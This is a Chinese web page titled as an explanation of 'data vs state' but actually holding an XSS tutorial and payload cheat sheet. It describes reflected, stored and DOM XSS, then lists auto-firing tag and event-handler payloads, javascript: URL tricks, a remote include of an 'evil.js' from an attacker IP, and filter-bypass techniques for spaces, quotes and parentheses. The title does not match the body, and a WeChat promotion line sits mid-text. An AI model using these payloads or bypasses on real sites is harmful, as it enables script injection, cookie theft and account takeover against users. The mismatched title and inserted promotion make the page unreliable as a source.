当前位置:首页 > 实用技巧 >

data与state的区别(data访问权限怎么解释)

来源:原点资讯(www.yd166.com)时间:2024-01-27 12:11:50作者:YD166手机阅读>>

data与state的区别,data访问权限怎么解释(1)

data与state的区别,data访问权限怎么解释(2)

XSS 简介

XSS,全称Cross Site Scripting,即跨站脚本攻击,是最普遍的Web应用安全漏洞。这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据攻击代码的工作方式,XSS可以分为反射型的XSS、存储型的XSS和DOM型的XSS。

反射型

反射型的XSS是非持久化的,攻击者事先制作好攻击链接,需要欺骗用户自己去点击链接才能触发XSS代码,但是服务器中没有这样的页面和内容,一般容易出现在搜索页面。

存储型

存储型的XSS是持久化的,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行。这种XSS非常危险,容易造成蠕虫,大量盗窃cookie。

DOM型

DOM型的XSS是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。

一些常用的标签与属性

下面我列举的标签大部分是可以自动触发js代码的,无需用户去交互,大部分情况下我们也是希望是自动触发而不是等用户去触发。

scirpt 标签

<script> 标签用于定义客户端脚本,比如 JavaScript。

<script>alert(1);</script> <script>alert("xss");</script> img 标签

<img> 标签定义 HTML 页面中的图像。

<img src=1 onerror=alert(1);> <img src=1 onerror=alert("xss");> input 标签

<input> 标签规定了用户可以在其中输入数据的输入字段。

onfocus 事件在对象获得焦点时发生:

<input onfocus=alert(1);>

竞争焦点,从而触发onblur事件:

<input onblur=alert(1) autofocus><input autofocus>

input 标签的 autofocus 属性规定当页面加载时 <input> 元素应该自动获得焦点。可以通过autofocus属性自动执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:

<input onfocus="alert(1);" autofocus> details 标签

<details> 标签通过提供用户开启关闭的交互式控件,规定了用户可见的或者隐藏的需求的补充细节。ontoggle 事件规定了在用户打开或关闭 <details> 元素时触发:

<details ontoggle=alert(1);>

使用details 标签的 open 属性触发ontoggle事件,无需用户去点击即可触发:

<details open ontoggle=alert(1);> svg 标签

<svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码。

<svg onload=alert(1);> select 标签

<select> 标签用来创建下拉列表。

<select onfocus=alert(1)></select>

通过autofocus属性规定当页面加载时元素应该自动获得焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发:

<select onfocus=alert(1) autofocus> iframe 标签

<iframe> 标签会创建包含另外一个文档的内联框架。

<iframe onload=alert(1);></iframe> video 标签

<video> 标签定义视频,比如电影片段或其他视频流。

<video><source onerror=alert(1)> audio 标签

<audio> 标签定义声音,比如音乐或其他音频流。

<audio src=x onerror=alert(1);> body 标签

<body> 标签定义文档的主体。

<body onload=alert(1);>

onscroll 事件在元素滚动条在滚动时触发。我们可以利用换行符以及autofocus,当用户滑动滚动条的时候自动触发,无需用户去点击触发:

<body onscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> textarea 标签

<textarea> 标签定义一个多行的文本输入控件。

<textarea onfocus=alert(1); autofocus> keygen 标签

<keygen autofocus onfocus=alert(1)> //仅限火狐 marquee 标签

<marquee onstart=alert(1)></marquee> //Chrome不行,火狐和IE都可以 isindex 标签

<isindex type=image src=1 onerror=alert(1)>//仅限于IE WX:machinegunjoe666免费领取资料 利用 link 远程包含 JavaScript 文件

<link> 标签定义文档与外部资源的关系。在无CSP的情况下才可以使用:

<link rel=import href="http://47.xxx.xxx.72/evil.js"> 利用 JavaScript 伪协议

javascript: 这个特殊的协议类型声明了URL的主体是任意的javascript代码,它由javascript的解释器运行。当浏览器装载了这样的URL时,并不会转向某个URL,而是执行这个URL中包含的javascript代码,并把最后一条javascript语句的字符串值作为新文档的内容显示出来。

a 标签

<a href="javascript:alert(1);">xss</a> iframe 标签

<iframe src=javascript:alert(1);></iframe> img 标签

<img src=x onerror=alert(1)> <img src=javascript:alert(1)> //IE7以下 form 标签

<form action="Javascript:alert(1)"><input type=submit> XSS 常见绕过姿势

data与state的区别,data访问权限怎么解释(3)

绕过空格过滤

当空格被过滤了时,我们可以用 / 来代替空格:

<img/src="x"/onerror=alert(1);>

也可以:

<img/src="x"onerror=alert(1);> 绕过引号过滤

如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号:

<img src=x onerror=alert(`xss`);> 绕过括号过滤

当括号被过滤的时候可以使用throw来绕过。throw 语句用于当错误发生时抛出一个错误。

<img src=x onerror="javascript:window.onerror=alert;throw 1"> <a onmouseover="javascript:window.onerror=alert;throw 1>

data与state的区别,data访问权限怎么解释(4)

栏目热文

协议数据单元是什么意思(协议报文解析是什么意思)

协议数据单元是什么意思(协议报文解析是什么意思)

如何毁掉一个婴儿?断了他的奶。如何毁掉一个年轻人?断了他的网。“网络之于年轻人,正如同奶水之于婴儿”什么是网?什么是域名...

2024-01-27 12:22:40查看全文 >>

api参数缺少是什么意思(api获取失败是什么意思)

api参数缺少是什么意思(api获取失败是什么意思)

微信支付报"调用支付jsapi缺少参数 total_fee",实际Java统一支付接口,返回“body参...

2024-01-27 12:48:41查看全文 >>

dnf技能范围大的固伤职业(dnf固伤职业推荐排行)

dnf技能范围大的固伤职业(dnf固伤职业推荐排行)

地下城与勇士(DNF)是一款非常流行的网络游戏,其中有很多职业供玩家选择。在这些职业中,有些职业的输出伤害是固定的,称为...

2024-01-27 12:14:41查看全文 >>

dnf职业技能伤害排名(dnf单技能伤害最高的职业)

dnf职业技能伤害排名(dnf单技能伤害最高的职业)

地下城全职业排名前十名,看一下。这个排名是根据十一月十六号的职业平衡来做的。·在十六号的时候剑魂会加强百分之十,男影加强...

2024-01-27 12:44:22查看全文 >>

dnf哪个职业状态技能最多(dnf什么职业技能最简单)

dnf哪个职业状态技能最多(dnf什么职业技能最简单)

诗曰:君问归期未有期职业自古无高低主C输出固难挡辅助控场亦强力横眉冷对卢克王笑谈决胜安图妮出血冰冻加失明一夫当关无人敌纵...

2024-01-27 12:13:22查看全文 >>

常量存储区是什么意思(常量数据储存在哪里)

常量存储区是什么意思(常量数据储存在哪里)

简述一下堆和栈的区别1、堆栈空间分配不同。栈由操作系统自动分配释放,存放函数的参数值,局部变量的值等。堆区一般由程序员分...

2024-01-27 12:26:12查看全文 >>

协议接口地址指的是什么地址(通信中接口地址是指什么)

协议接口地址指的是什么地址(通信中接口地址是指什么)

Postman实现接口测试内容大纲一览:一、什么是接口?为什么需要接口?接口指的是实体或者软件提供给外界的一种服务。因为...

2024-01-27 12:25:35查看全文 >>

请求参数缺失什么意思(请求参数异常是怎么回事)

请求参数缺失什么意思(请求参数异常是怎么回事)

2023年上半年军队直接选拔招录普通高等学校应届毕业生工作全面展开,今年计划提供3500余个军(警)官岗位,直接选拔招录...

2024-01-27 12:39:19查看全文 >>

协议的数据单元是什么(物理层协议的数据单元)

协议的数据单元是什么(物理层协议的数据单元)

之前写过一篇《通俗易懂TCP/IP(概述)》,广受欢迎和好评,有网友催更,便抽空续写IP章节,回应粉丝期待。TCP/IP...

2024-01-27 12:22:19查看全文 >>

协议类型和数据长度含义(网络中各个层的协议)

协议类型和数据长度含义(网络中各个层的协议)

1. MIDI 简介MIDI 协议即数字音乐接口(Musical Instrument Digital Interfac...

2024-01-27 12:27:54查看全文 >>

文档排行